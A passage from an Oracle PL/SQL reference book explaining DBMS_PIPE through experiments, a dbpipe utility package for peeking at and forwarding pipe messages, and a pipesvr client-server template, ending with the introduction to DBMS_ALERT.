   call_status := DBMS_PIPE.RECEIVE_MESSAGE(test_pipename);
   DBMS_OUTPUT.PUT_LINE('call status receive2: '||TO_CHAR(call_status));
   DBMS_PIPE.UNPACK_MESSAGE(message2_out);
   DBMS_OUTPUT.PUT_LINE('message unpacked: '||message2_out);
END;
/
call status send1: 0
call status receive1: 0
message unpacked: This is message one
call status send2: 0
call status receive2: 0
message unpacked: This is message one

PL/SQL procedure successfully completed.

Notice that all calls to SEND_MESSAGE and RECEIVE_MESSAGE returned 0, indicating success. However, message two was never sent or received; instead, message one was sent and received twice. This indicates that the message buffer can contain only one message at a time for either sending or receiving. Receiving message one from the pipe overlaid message two in the buffer. It is interesting that the second call to SEND_MESSAGE sent the message that was just unpacked into the buffer, not the last message packed. It seems that a message that has been received and unpacked can also be sent without being repacked. As with the first question, this is somewhat confusing and counterintuitive, and again begs for more detailed documentation from Oracle on DBMS_PIPE.

One idea this second test gave me was forwarding messages from one pipe to another without consuming them. I developed a procedure to do just that; it's discussed later in "Section 3.1.7.3, "The dbpipe utility package"."

The concept of "packing" message items into a buffer suggested that perhaps the items were also being compressed somehow. If this were true, then message items containing strings of repeating characters should pack tightly into the 4096-byte buffer, and the buffer could contain more than 4096 bytes worth of messages. In order to test this theory, I developed a procedure to stuff as many copies as possible of an input string into the message buffer and count exactly how big the resulting message is. Here is the source code for the pipe1 procedure:

/* Filename on companion disk: pipe1.sql */*
CREATE OR REPLACE PROCEDURE pipe1
   (message_item_IN IN VARCHAR2)
   /*
   || Tests whether DBMS_PIPE compresses
   || string message items on packing by
   || stuffing buffer full and counting total
   || size of message.
   ||
   || Author:  John Beresniewicz, Savant Corp
   || Created: 09/16/97
   ||
   */
IS
   test_pipename  VARCHAR2(30):='OPBIP_TEST_PIPE';
   call_status       INTEGER;

   item_counter   INTEGER :=0;
   total_msg_size  INTEGER :=0;

   buffer_full    EXCEPTION;
   PRAGMA EXCEPTION_INIT(buffer_full,-6558);

BEGIN

   /* make sure pipe is empty and buffer initialized */
   call_status := DBMS_PIPE.CREATE_PIPE(test_pipename);
   DBMS_PIPE.PURGE(test_pipename);
   DBMS_PIPE.RESET_BUFFER;

   BEGIN
      /* buffer_full exception ends the loop */
      LOOP
         DBMS_PIPE.PACK_MESSAGE(message_item_IN);

         /*
         || increment total size:  1 byte for datatype and
         || 2 bytes for item length
         */
         total_msg_size := total_msg_size+3+LENGTHB(message_item_IN);
         item_counter := item_counter +1;
      END LOOP;

   EXCEPTION
      WHEN buffer_full
         THEN
            /* test if message can send OK on buffer_full */
            call_status := DBMS_PIPE.SEND_MESSAGE(test_pipename);

            IF call_status = 0
            THEN
               /* OK, display results for this message item */
               DBMS_OUTPUT.PUT_LINE
                  ('Items Packed: '||TO_CHAR(item_counter));
               DBMS_OUTPUT.PUT_LINE
                  ('Total Msg Size: '||TO_CHAR(total_msg_size+1));
            ELSE
               DBMS_OUTPUT.PUT_LINE
                  ('Pipe Send Error, return code: '||
                                       TO_CHAR(call_status));
            END IF;
      WHEN OTHERS
         THEN
            DBMS_OUTPUT.PUT_LINE('Oracle Error: '||TO_CHAR(SQLCODE));
   END;

END pipe1;

There are a couple of useful techniques demonstrated in pipe1. For one, the EXCEPTION_INIT pragma is used to define an exception to trap the buffer full condition. This exception is then used to exit the message packing loop, which is somewhat unusual but precisely what we need in this case. Also, the pipe is created and immediately purged to ensure that it is empty for the test. The purge is done because the DBMS_PIPE.CREATE_PIPE call will succeed if the pipe already exists, and it may contain messages, which could interfere with the test. Since the test is designed to measure how much can be packed into the local buffer, DBMS_PIPE.RESET_BUFFER is called to make sure that the buffer starts off completely empty.

The pipe1 procedure is not particularly useful, except to answer the question about whether message items are compressed. Well, here are the results from several calls to pipe1 using different message items:

SQL> execute pipe1('This is a long text message');

Items Packed: 136
Total Msg Size: 4081

PL/SQL procedure successfully completed.

SQL> execute pipe1(RPAD(' ',2000));

Items Packed: 2
Total Msg Size: 4007

PL/SQL procedure successfully completed.

SQL> execute pipe1('1');

Items Packed: 1023
Total Msg Size: 4093

PL/SQL procedure successfully completed.

The tests show there is no data compression taking place when message items are packed into the buffer. This is most clearly seen in the second test, where only two strings of 2000 blanks could be packed into the buffer. Also note the inefficiency of packing many small items into a message (third test) since the three bytes of per-item overhead account for most of the space used.

The conclusion I've drawn from all these tests: the inner workings of DBMS_PIPE are not at all intuitive or obvious. I'm still somewhat confused by some of the test results, and the lack of clear documentation by Oracle is frustrating. The good news is that reliable pipe-based communications can be achieved by following the simple guidelines and best practices discussed previously. Doing so will help avoid programs that enter those murky areas which my testing purposely explored.

3.1.7.3 The dbpipe utility package

While conducting my experiments on DBMS_PIPE, I had a couple of ideas for some utility programs. One thing I wanted was a kind of "sniffer" program that could show me the contents of any pipe. Since I was not following safe pipe programming practices (on purpose) -- I kept stuffing all kinds of messages into all kinds of pipes -- I often did not know what had gotten where. I needed a generic program that could show me the contents of any pipe without knowing message specifics such as number of items and their datatypes. Another idea was to forward a message from one pipe to another. This seemed potentially useful, perhaps as the basis for a kind of pipe-based broadcasting or chain-letter application.

It turns out that one key to both of these utilities was creating utility programs that could unpack and repack any message without knowing the form of its contents in advance.

These ideas became the dbpipe package. Here is the package specification:

/* Filename on companion disk: dbpipe.sql */*
CREATE OR REPLACE PACKAGE dbpipe
   /*
   || Package of interesting utilities illustrating use of
   || DBMS_PIPE programs.  Includes a forwarding program to
   || pass pipe messages from one pipe to another, a peek
   || program to inspect and replace pipe messages, and
   || generic unpack and pack programs.
   ||
   || Author:  John Beresniewicz, Savant Corp
   ||
   || 10/10/97: added purge_all_pipes
   || 10/10/97: made cannot_use_pipe a public
   ||           exception
   || 10/05/97: added makepipe and closepipe
   || 09/28/97: added invalid_item_type exception to
   ||           unpack_to_tbl
   || 09/25/97: added safe or cool mode to forward
   || 09/21/97: created
   ||
   || Compilation Requirements:
   ||
   || EXECUTE on DBMS_PIPE
   || EXECUTE on DBMS_SESSION
   || SELECT  on SYS.V_$DB_PIPES
   ||
   || Execution Requirements:
   ||
   */
AS
   /*
   || declare exceptions raised by various DBMS_PIPE
   || programs when user cannot access a private pipe
   || or pipename is null
   */
   cannot_use_pipe   EXCEPTION;
   PRAGMA EXCEPTION_INIT(cannot_use_pipe,-23322);
   null_pipename   EXCEPTION;
   PRAGMA EXCEPTION_INIT(null_pipename,-23321);

   /*
   || message_rectype records can capture any single
   || item which can be packed into a DBMS_PIPE message
   */
   TYPE message_rectype IS RECORD
      (item_type  INTEGER
      ,Mvarchar2  VARCHAR2(4093)
      ,Mdate      DATE
      ,Mnumber    NUMBER
      ,Mrowid     ROWID
      ,Mraw       RAW(4093)
      );

   /*
   || message_tbltype tables can hold an ordered list of
   || message items, thus any message can be captured
   */
   TYPE message_tbltype IS TABLE OF message_rectype
      INDEX BY BINARY_INTEGER;

   /*
   || unpacks message buffer into table,
   || optionally displays message to screen
   */
   PROCEDURE unpack_to_tbl
      (message_tbl_OUT OUT message_tbltype
      ,display_TF IN BOOLEAN := FALSE);
   /*
   || packs message buffer from message table
   */
   PROCEDURE pack_from_tbl
      (message_tbl_IN IN message_tbltype);

   /*
   || forward a message from one pipe to another,
   || supports two techniques (safe and cool)
   */
   PROCEDURE forward
      (from_pipename_IN IN VARCHAR2
      ,to_pipename_IN IN VARCHAR2
      ,timeout_secs_IN IN INTEGER := 10
      ,safe_mode_IN IN BOOLEAN := FALSE);

   /*
   || takes sample message from a pipe and displays the
   || contents, replaces message back into pipe if
   || boolean parameter is TRUE
   */
   PROCEDURE peek
      (pipename_IN IN VARCHAR2
      ,timeout_secs_IN IN INTEGER := 60
      ,replace_message_TF IN BOOLEAN := TRUE);

   /*
   || encapsulates DBMS_PIPE.CREATE_PIPE and returns
   || FALSE if ORA-23322 is raised, indicating
   || the pipename is already used and not accessible
   || to the caller
   */
   FUNCTION makepipe
      (pipename_IN IN VARCHAR2
      ,maxsize_bytes_IN IN INTEGER DEFAULT 8192
      ,private_IN IN BOOLEAN DEFAULT TRUE)
   RETURN BOOLEAN;

   /*
   || encapsulates DBMS_PIPE.REMOVE_PIPE and returns
   || FALSE if ORA-23322 is raised, indicating
   || the pipename exists and is not removable
   || by the caller
   */
   FUNCTION closepipe
      (pipename_IN IN VARCHAR2)
   RETURN BOOLEAN;

   /*
   || purges all pipes the caller can access
   */
   PROCEDURE purge_all_pipes;

END dbpipe;

3.1.7.3.1 Unpack_to_tbl and pack_from_tbl procedures

The two procedures unpack_to_tbl and pack_from_tbl implement the generic unpack and pack functionality. They use PL/SQL tables of records based on message_tbltype, which is designed to hold an ordered list of items of any datatype. Each row in a table of type message_tbltype contains two data values: an entry in the item_type field indicating the type of this message item (as returned by DBMS_PIPE.NEXT_ITEM_TYPE) and an entry in the field of the corresponding datatype with the value of this message item. The unpack_to_tbl procedure unpacks all items in a newly received message into a message table, indexing them in the table by their unpack order. The pack_from_tbl procedure takes a message table loaded in this fashion and repacks the original message into the message buffer in index order. The unpack_to_tbl procedure can also optionally use the DBMS_OUTPUT built-in package (described in Chapter 6, Generating Output from PL/SQL Programs) to display the message unpacked.

Here are the full package bodies for unpack_to_tbl and pack_from_tbl. Note how unpack_to_tbl grew out of the example code for the DBMS.PIPE.NEXT_ITEM_TYPE function.

/* Filename on companion disk: dbpipe.sql */*
PROCEDURE unpack_to_tbl
      (message_tbl_OUT OUT message_tbltype
      ,display_TF IN BOOLEAN := FALSE)
   IS
      /*
      || NOTE: this procedure should only be called after
      || a successful call to DBMS_PIPE.RECEIVE_MESSAGE
      */

      /* empty table to flush output table on exception */
      null_message_tbl message_tbltype;

      /*
      || temp display variable extra long to account
      || for RAWTOHEX conversion that can double size
      */
      temp_varchar2  VARCHAR2(8186);

      next_item      INTEGER;
      item_count     INTEGER := 0;

   BEGIN

      next_item := DBMS_PIPE.NEXT_ITEM_TYPE;

      /*
      || loop through all items, unpacking each by item
      || type and convert to varchar2 for display
      */
      WHILE next_item > 0
      LOOP
         /*
         || increment item count and store item type
         */
         item_count := item_count + 1;
         message_tbl_OUT(item_count).item_type := next_item;

         /*
         || now use next_item to call correct unpack procedure,
         || saving item to message_tbl
         ||
         || also stuff temp_varchar2 with string conversion
         || of the item
         */
         IF next_item = 9
         THEN
            DBMS_PIPE.UNPACK_MESSAGE
               (message_tbl_OUT(item_count).Mvarchar2);

            temp_varchar2 := 'VARCHAR2: '||
                     message_tbl_OUT(item_count).Mvarchar2;
         ELSIF next_item = 6
         THEN
            DBMS_PIPE.UNPACK_MESSAGE
               (message_tbl_OUT(item_count).Mnumber);

            temp_varchar2 := 'NUMBER: '||
                  TO_CHAR(message_tbl_OUT(item_count).Mnumber);

         ELSIF next_item = 11
            THEN
            DBMS_PIPE.UNPACK_MESSAGE_ROWID
               (message_tbl_OUT(item_count).Mrowid);

            temp_varchar2 := 'ROWID: '||
                  ROWIDTOCHAR(message_tbl_OUT(item_count).Mrowid);

         ELSIF next_item = 12
         THEN
            DBMS_PIPE.UNPACK_MESSAGE
               (message_tbl_OUT(item_count).Mdate);

            temp_varchar2 := 'DATE: '||
               TO_CHAR(message_tbl_OUT(item_count).Mdate,
                                 'YYYY:MM:DD:HH24:MI:SS');

         ELSIF next_item = 23
         THEN
            DBMS_PIPE.UNPACK_MESSAGE_RAW
               (message_tbl_OUT(item_count).Mraw);

            temp_varchar2 := 'RAW: '||
               RAWTOHEX(message_tbl_OUT(item_count).Mraw);

         ELSE
            temp_varchar2 := 'Invalid item type: '||
                                 TO_CHAR(next_item);

            RAISE invalid_item_type;
         END IF;

         /*
         || display results and get next item type
         */
         IF display_TF
         THEN
            DBMS_OUTPUT.PUT_LINE(temp_varchar2);
         END IF;

         next_item := DBMS_PIPE.NEXT_ITEM_TYPE;

      END LOOP;

   EXCEPTION
      WHEN invalid_item_type
      THEN
         message_tbl_OUT := null_message_tbl;

   END unpack_to_tbl;

   PROCEDURE pack_from_tbl
      (message_tbl_IN IN message_tbltype)
   IS
      /*
      || packs the session message buffer from a generic
      || message table
      */
   BEGIN
      FOR i IN message_tbl_IN.FIRST..message_tbl_IN.LAST
      LOOP
         IF message_tbl_IN(i).item_type = 9
         THEN
            DBMS_PIPE.PACK_MESSAGE(message_tbl_IN(i).Mvarchar2);

         ELSIF message_tbl_IN(i).item_type = 6
         THEN
            DBMS_PIPE.PACK_MESSAGE(message_tbl_IN(i).Mnumber);

         ELSIF message_tbl_IN(i).item_type = 12
         THEN
            DBMS_PIPE.PACK_MESSAGE(message_tbl_IN(i).Mdate);

         ELSIF message_tbl_IN(i).item_type = 11
         THEN
            DBMS_PIPE.PACK_MESSAGE_ROWID(message_tbl_IN(i).Mrowid);

         ELSIF message_tbl_IN(i).item_type = 23
         THEN
            DBMS_PIPE.PACK_MESSAGE_RAW(message_tbl_IN(i).Mraw);

         END IF;

      END LOOP;

   ENDpack_from_tbl;

I really like these utilities, but they suffer from a potentially serious limitation inherited from Oracle's rather poor memory management for PL/SQL tables of records. Basically, each row of a PL/SQL table of type message_tbltype consumes at least enough memory to fill out the variable-length columns, which is greater than eight kilobytes. Thus, unpacking a message with more than a few items in it can result in a very large PL/SQL table. This is demonstrated by the following test results, which use the my_session.memory procedure (see Chapter 11, Managing Session Information) to display user session memory before and after unpacking a message.

/* Filename on companion disk: pipemem.sql. */*
set serveroutput on size 100000

DECLARE
   null_msg_tbl dbpipe.message_tbltype;
   msg_tbl dbpipe.message_tbltype;
   call_stat  INTEGER;

BEGIN

   /* pack a message with a number of items */
   FOR i in 1..50
   LOOP
      DBMS_PIPE.PACK_MESSAGE('message number: '||TO_CHAR(i));
   END LOOP;

   /* send and receive the message */
   call_stat :=DBMS_PIPE.SEND_MESSAGE('PIPEX');
   call_stat :=DBMS_PIPE.RECEIVE_MESSAGE('PIPEX');

   /* use the generic unpack and show memory */
   dbpipe.unpack_to_tbl(msg_tbl,FALSE);
   my_session.memory;

   /* now free, release and show memory */
   msg_tbl := null_msg_tbl;
   DBMS_SESSION.FREE_UNUSED_USER_MEMORY;
   my_session.memory;

END;
/
session UGA: 41160
session PGA: 987576
session UGA: 41160
session PGA: 137760

PL/SQL procedure successfully completed.

The test shows that using unpack_to_tbl on a message with 50 items results in session PGA memory exceeding 900 kilobytes in size, most of which is wasted. Clearly, this is not a good scenario for a real application with many users, so the general usefulness of unpack_to_tbl and pack_from_tbl will have to wait until Oracle fixes these PL/SQL memory management problems.

NOTE: The problem caused by unpacking messages with more than a few items in them can result in a very large PL/SQL table that has been fixed in Oracle PL/SQL8.

3.1.7.3.2 The peek procedure

Developers or DBAs working with and testing DBMS_PIPE applications may really like the peek procedure built on top of the generic pack and unpack procedures. The peek procedure lets you pull a message off any pipe (which you have permission to use), look at its content, and place it back into the pipe, if you desire. Note that using peek will change the message order in the pipe, since database pipes are FIFO queues.

 /* Filename on companion disk: dbpipe.sql */*
PROCEDURE peek
    (pipename_IN IN VARCHAR2
    ,timeout_secs_IN IN INTEGER := 60
    ,replace_message_TF IN BOOLEAN := TRUE)
 IS
    /*
|| Takes a sample message from a pipe, unpacks and displays
    || contents using unpack_to_tbl procedure.
    ||
    || If replace_message_TF parameter is TRUE (the default),
    || then the message is replaced into the pipe.NOTE: this
    || will change message order in the pipe.
    */

    message_tblmessage_tbltype;
    call_statusINTEGER;

    /* empty table used to free and release memory */
    null_message_tblmessage_tbltype;

 BEGIN

    call_status := DBMS_PIPE.RECEIVE_MESSAGE
        (pipename=>pipename_IN, timeout=>timeout_secs_IN);

    IF call_status = 0
    THEN
        unpack_to_tbl(message_tbl, display_TF=>TRUE);

        IF replace_message_TF
         THEN
            /*
            || repack message into initialized buffer
            */
            DBMS_PIPE.RESET_BUFFER;
            pack_from_tbl(message_tbl);

            /*
            || replace message on the pipe
            */
            call_status := DBMS_PIPE.SEND_MESSAGE
                (pipename=>pipename_IN, timeout=>0);
        END IF;

         /*
        || empty message_tbl and free memory
        */
        message_tbl := null_message_tbl;
        DBMS_SESSION.FREE_UNUSED_USER_MEMORY;

    END IF;

END peek;

The peek procedure takes the memory management limitations into account. It returns memory consumed by the unpack_to_tbl procedure to the operating system by initializing message_tbl and calling DBMS_SESSION.FREE_UNUSED_USER_MEMORY.

3.1.7.3.3 The forward procedure

The final fun utility from dbpipe to be discussed here is the forward procedure, which lets you forward a message from one pipe to another. The procedure has four IN parameters:

from_pipename_IN and to_pipename_IN

Receiving and sending pipes for the message forwarding.

timeout_secs_IN

Determines the number of seconds to wait for a message to forward (on the pipe from_pipename_IN).

safe_mode_IN

A Boolean that determines which of two message forwarding techniques to use (which I call "safe" and "cool"). Safe mode forwarding uses unpack_to_tbl and pack_from_tbl to physically unbundle and recreate the message before sending it on to_pipename_IN. Cool mode forwarding is based on the idea that the best way to forward a message should be to execute DBMS_PIPE.RECEIVE_MESSAGE followed immediately by DBMS_PIPE.SEND_MESSAGE. After all, forwarding should be fast -- so why bother with the overhead of unpacking and repacking?

Well, it turns out that you cannot just receive and immediately send a message using DBMS_PIPE unless you have previously called the DBMS_PIPE.PACK_MESSAGE procedure. Why? I have no idea; it just seems to be another one of those mysteries of DBMS_PIPE that I happened to discover during my experimentation. I don't like the fact that it's mysterious, but I do like the fact that it works, so I used this "feature" to implement the cool forwarding mode.

 /* Filename on companion disk: dbpipe.sql. */*
PROCEDURE forward
    (from_pipename_IN IN VARCHAR2
    ,to_pipename_IN IN VARCHAR2
    ,timeout_secs_IN IN INTEGER := 10
    ,safe_mode_IN IN BOOLEAN := FALSE)
IS
    call_status INTEGER;
    message_tbl message_tbltype;

BEGIN
    /* initialize buffer */
    DBMS_PIPE.RESET_BUFFER;

    IF NOT safe_mode_IN
    THEN
        /*
        || do an initial pack so COOL mode forwarding will work,
        || why this is necessary is unknown
        */
        DBMS_PIPE.PACK_MESSAGE('bogus message');
    END IF;

    /*
    || receive the message on from_pipename, if success
    || then forward on to_pipename
    */
    call_status := DBMS_PIPE.RECEIVE_MESSAGE
                (pipename=>from_pipename_IN
                ,timeout=>timeout_secs_IN);

    IF call_status = 0
    THEN
        /*
        || safe mode does full unpack and repack
        */
        IF safe_mode_IN
        THEN
        unpack_to_tbl(message_tbl);
        pack_from_tbl(message_tbl);
        END IF;

        /*
        || OK, now send on to_pipename
        */
        call_status := DBMS_PIPE.SEND_MESSAGE
                (pipename=>to_pipename_IN
                ,timeout=>timeout_secs_IN);
    END IF;

END forward;

3.1.7.4 Implementing a server program

One common application of DBMS_PIPE is to implement an external service interface, as mentioned previously. This interface allows Oracle users to communicate with host operating system programs and receive data from them into their session context. What about writing a service provider program internal to Oracle? That is, what about writing a PL/SQL program that will listen on a database pipe and provide certain Oracle-based services to client sessions connected to the same Oracle database?

There are a number of possible applications of such internal service programs, including:

  • Complex calculation engines

  • Debug message logging

  • Audit message logging

  • Transaction concentrators

  • Batch program scheduling

3.1.7.5 The pipesvr package

I have written a package that demonstrates how to use DBMS_PIPE to implement a basic PL/SQL server program and associated client programs. The package implements basic client-server communications, as well as a simple server-side debugger. Here is the specification for the pipesvr package:

/* Filename on companion disk: pipesvr.sql */*
CREATE OR REPLACE PACKAGE pipesvr
AS
   /*
   || Illustrates the use of DBMS_PIPE to implement
   || communications between a PL/SQL background server
   || program and client programs.
   ||
   || Clients communicate requests over a database pipe
   || on which the server listens and receive responses
   || on pipes unique to each session.
   ||
   || The server can be set to place debugging info into a
   || table.
   ||
   || Author:  John Beresniewicz, Savant Corp
   ||
   || 10/04/97: created
   ||
   || Compilation Requirements:
   ||
   || EXECUTE on DBMS_PIPE
   ||
   || Execution Requirements:
   ||
   */

   /*
   || simple server program which listens indefinitely on
   || database pipe for instructions
   */
   PROCEDURE server;

   /*
   || Client programs
   */

   /* stop the server */
   PROCEDURE server_stop;

   /* turn server debug mode toggle on or off */
   PROCEDURE server_debug_on;
   PROCEDURE server_debug_off;

   /* get and display server status using DBMS_OUTPUT */
   PROCEDURE server_status;

END pipesvr;

Once the server is running, it listens on a database pipe for client service requests. When a request is received, the server processes the request and goes back to listening on the pipe. In the case of the server_status client procedure call, the server sends its current status back to the client over a pipename unique to the session. The following record types and variables, declared in the package body of pipesvr, are used to implement the client-server communications:

   /* used as a tag for this application */
   app_id   VARCHAR2(10) := 'OPBIP$';

   /* identifiers for message protocols */
   request_protocol VARCHAR2(20) := app_id||'REQUEST$';
   status_protocol  VARCHAR2(20) := app_id||'STATUS$';

   /* server listens on this pipe */
   request_pipe VARCHAR2(30) := app_id||'SERVER$';

   /* client responses come on this pipe, unique to each client */
   my_response_pipe VARCHAR2(100) := app_id||
                                    DBMS_PIPE.UNIQUE_SESSION_NAME;

   /*
   || requests to server made in this format,
   || should never need to override response_pipe
   */
   TYPE request_rectype IS RECORD
         (response_pipe VARCHAR2(100) := my_response_pipe
         ,service  stop_req%TYPE
         );

   /*
   || server reports status in this format
   */
   TYPE status_rectype IS RECORD
         (start_date    DATE
         ,total_requests   INTEGER := 0
         ,debug_status  VARCHAR2(5) := 'OFF'
         );

   /* private global for server current status */
   status_rec status_rectype;

3.1.7.5.1 Message types

Two record types have been declared for the two kinds of messages that will be handled: service request messages (sent from client to server) and server status messages (sent from server to client). Corresponding to each record (message) type is a protocol identifier to use when unpacking messages.

3.1.7.5.2 Pipenames

The following pipenames are established for proper message separation:

  • request_pipe, into which all client requests are placed for receipt by the server

  • my_response_pipe, from which each session receives its response from the server

3.1.7.5.3 Pack/send, receive/unpack encapsulation

In keeping with the best practices for safe pipe communications, the following four (package private) procedures are implemented in the body of pipesvr (only the specifications are shown below):

  /* Filename on companion disk: pipesvr.sql */*
  /*
  || private program to put service request on pipe,
  || called by client programs
  */
  PROCEDURE pack_send_request
    (request_rec_IN IN request_rectype
         ,return_code_OUT OUT NUMBER);

  /*
  || private program to receive request on the
  || request pipe
  */
  PROCEDURE receive_unpack_request
    (timeout_IN IN INTEGER
         ,request_rec_OUT OUT request_rectype
         ,return_code_OUT OUT NUMBER);

  /*
  || private program to put request on pipe,
  || called by client programs
  */
  PROCEDURE pack_send_status
         (status_rec_IN IN status_rectype
         ,response_pipe_IN IN my_response_pipe%TYPE
         ,return_code_OUT OUT NUMBER);

  /*
  || private program to receive status on unique
  || session pipe
  */
  PROCEDURE receive_unpack_status
    (timeout_IN IN INTEGER
    ,status_rec_OUT OUT status_rectype
    ,return_code_OUT OUT NUMBER);

3.1.7.5.4 The server procedure

The server procedure itself is quite straightforward. It begins by creating the request pipe and initializing its private status record. Then it loops forever (or until the terminate_TF boolean is TRUE) on request_pipe for client requests using receive_unpack_request. Valid requests are passed on to the process_request procedure, which encapsulates the inelegant IF...THEN logic required to handle various types of requests. Finally, when the loop terminates, due to setting terminate_TF to TRUE, the pipe is removed and the program ends.

The code for the server is surprisingly simple.

/* Filename on companion disk: pipesvr.sql */*
PROCEDURE server
IS
    request_rec  request_rectype;
    temp_return_code  NUMBER;

BEGIN
    /* create pipe */
    temp_return_code := DBMS_PIPE.CREATE_PIPE(request_pipe);

    /* initialize status rec */
    status_rec.start_date := SYSDATE;
    status_rec.total_requests := 0;
    status_rec.debug_status := 'OFF';

    /*
    || loop forever and process requests
    */
    WHILE NOT terminate_TF
    LOOP
        receive_unpack_request
            (timeout_IN => DBMS_PIPE.maxwait
            ,request_rec_OUT=> request_rec
            ,return_code_OUT => temp_return_code);

        IF temp_return_code != 0
        THEN
            DBMS_PIPE.PURGE(request_pipe);
            debug('REQUEST PIPE STAT: '||temp_return_code);
        ELSE
            process_request(request_rec);
            debug('REQUEST PROCESSED');
        END IF;
    END LOOP;

    /*
    || terminating: remove pipe and exit
    */
    temp_return_code := DBMS_PIPE.REMOVE_PIPE(request_pipe);

EXCEPTION
    WHEN OTHERS THEN
        debug('SERVER EXCP: '||SQLERRM, force_TF_IN=>TRUE);
        temp_return_code := DBMS_PIPE.REMOVE_PIPE(request_pipe);

END server;

3.1.7.5.5 The process_request procedure

When the server procedure receives a valid service request, it calls the process_request procedure. This procedure has the responsibility of interpreting the service request and performing the requested action. Note that this procedure sets the terminate_TF Boolean, which stops the server. You must always code a stop routine into this type of service program, or you will have to kill the process running the procedure. Other services performed by process_request include setting debugging to on or off, and sending the server's current status_rec back to the requesting session on a database pipe using pack_send_status.

/* Filename on companion disk: pipesvr.sql */*
/*
|| private program to encapsulate request processing
|| logic (lots of IF...THEN stuff) of server
*/
PROCEDURE process_request
    (request_rec_IN IN request_rectype)
IS
    temp_return_code NUMBER;
BEGIN
    /* increment total */
    status_rec.total_requests := status_rec.total_requests +1;

    /* stop the server, this is a MUST have */
    IF request_rec_IN.service = stop_req
    THEN
        terminate_TF := TRUE;

    ELSIF request_rec_IN.service = debugon_req
    THEN
        debug_TF := TRUE;
        status_rec.debug_status := 'ON';

    ELSIF request_rec_IN.service = debugoff_req
    THEN
        debug_TF := FALSE;
        status_rec.debug_status := 'OFF';

    ELSIF request_rec_IN.service = status_req
    THEN
        pack_send_status
            (status_rec_IN=>status_rec
            ,response_pipe_IN=> request_rec_IN.response_pipe
            ,return_code_OUT=> temp_return_code);
        debug('SEND STATUS: '||temp_return_code);
    /* unrecognized request */

    ELSE
        DBMS_PIPE.RESET_BUFFER;
        debug('UNKNOWN REQUEST: '||request_rec_IN.service);
    END IF;

END process_request;

3.1.7.5.6 Debug procedure

Notice that the server procedure makes several calls to a procedure called debug. The debug procedure dumps informational messages into a simple table to allow tracking of server-side events. This procedure usually inserts data to the table only if the server is in debug mode, as determined by the debug_TF global variable. This prevents too many debugging rows from being inserted when the server is operating normally. The debug procedure can be forced to write to the table by setting a parameter called force_TF_IN to TRUE. This is used to guarantee that certain debugging information gets into the table regardless of the server's current debug mode. Debugging messages are usually forced in exception handlers, as in the server procedure. Here is the source code for debug:

/* Filename on companion disk: pipesvr.sql */*
/*
|| private program to put debug messages into table
|| if boolean is TRUE, or if force_IN is TRUE
|| NOTE: commits after inserting row
*/
PROCEDURE debug
    (message_IN IN VARCHAR2
    ,force_TF_IN IN BOOLEAN := FALSE)
IS
BEGIN
    IF debug_TF OR force_TF_IN
    THEN
        INSERT INTO pipesvr_debug
        VALUES (SYSDATE, message_IN);
        COMMIT;
    END IF;
END debug;

3.1.7.5.7 Client side procedures

The four client-side procedures all have to send specific request records to the server, and the request records they use vary only in the contents of the service field. I reduced code redundancy by creating the client_request procedure as follows:

/* Filename on companion disk: pipesvr.sql. */*
/*
|| private program to make simple service requests,
|| if request_rectype gets more complex or need more
|| flexibility use pack_send_request instead
*/
PROCEDURE client_request(request_IN IN stop_req%TYPE)
IS

    request_rec request_rectype;
    temp_return_code  NUMBER;

BEGIN
    request_rec.service := request_IN;

    pack_send_request
        (request_rec_IN => request_rec
        ,return_code_OUT => temp_return_code);

END client_request;

The client_request procedure loads the service field of a request record and then calls pack_send_request. This procedure helps simplify client programs, as seen in server_stop:

PROCEDURE server_stop
IS
BEGIN
    client_request(stop_req);
END server_stop;

The server_status procedure calls client_request and then waits for up to a minute on the receive_unpack_status procedure. If a status record is successfully received from the server, it is displayed using the DBMS_OUTPUT package.

I hope the pipesvr package will serve as a useful template to those seeking to implement PL/SQL service programs. It works and it incorporates the best practices for using DBMS_PIPE, so it should be a good starting point.

Previous: 2.5 DBMS_SQL Examples | Oracle Built-in Packages | Next: 3.2 DBMS_ALERT: Broadcasting Alerts to Users
2.5 DBMS_SQL Examples | Book Index | 3.2 DBMS_ALERT: Broadcasting Alerts to Users
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.2 DBMS_ALERT: Broadcasting Alerts to Users

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

3.2 DBMS_ALERT: Broadcasting Alerts to Users

The DBMS_ALERT package provides a facility to broadcast notification of database events (alerts) to multiple users who have previously registered their interest in receiving those alerts. You will use the DBMS_ALERT package to implement applications that respond immediately to data modifications of interest to the application. In this way, you can avoid the need to do regular polling on the data to determine if changes have taken place. This is typically accomplished by having the application register to receive an alert on the specific data of interest, querying the data to establish a baseline, and then waiting for the alert to be signaled, which indicates the need to requery the data. Alerts can be automatically signaled using database triggers on the tables of interest, so that all modifications to the data will signal the alert, regardless of which application or user modified the data. Alerts are asynchronous and transaction-based, meaning that users can wait for and receive notification after the signaling event and that only committed transactions (usually involving data changes) will signal the alert.

Here are two good examples of applications that could be implemented using DBMS_ALERT:

  • Graphical displays of statistics that must be updated whenever the underlying data changes

  • An online auction where bidders want to be notified when they have been outbid on an item

3.2.1 Getting Started with DBMS_ALERT

The DBMS_ALERT package is created when the Oracle database is installed. The dbmsalrt.sql script (found in the built-in packages source code directory, as described in Chapter 1) contains the source code for this package's specification. This script is called by catproc.sql, which is normally run immediately after database creation. Under Oracle7, no privileges are automatically granted on DBMS_ALERT. Under Oracle8, the EXECUTE_CATALOG_ROLE role is granted EXECUTE privilege on DBMS_ALERT. Thus the DBMS_ALERT programs are not generally available to users. Access to DBMS_ALERT is obtained by granting EXECUTE privilege explicitly to users or roles that require use of the package.

Note also that a public synonym for DBMS_ALERT is not created automatically by dbmsalrt.sql, so references to the package's programs must be qualified by the owning schema (SYS), unless synonyms have been created. To create a public synonym for DBMS_ALERT, issue the following SQL command:

CREATE PUBLIC SYNONYM DBMS_ALERT FOR SYS.DBMS_ALERT;

3.2.1.1 DBMS_ALERT programs

Table 3.2 lists the programs included in the DBMS_ALERT package.

Table 3.2: DBMS_ALERT Programs
Name | Description | Use in SQL?
REGISTER | Registers interest in notification of an alert | No
REMOVE | Unregisters interest in notification of an alert | No
REMOVEALL | Unregisters interest in all alert notification | No
SET_DEFAULTS | Sets polling loop interval | No
SIGNAL | Signals the occurrence of an alert | No
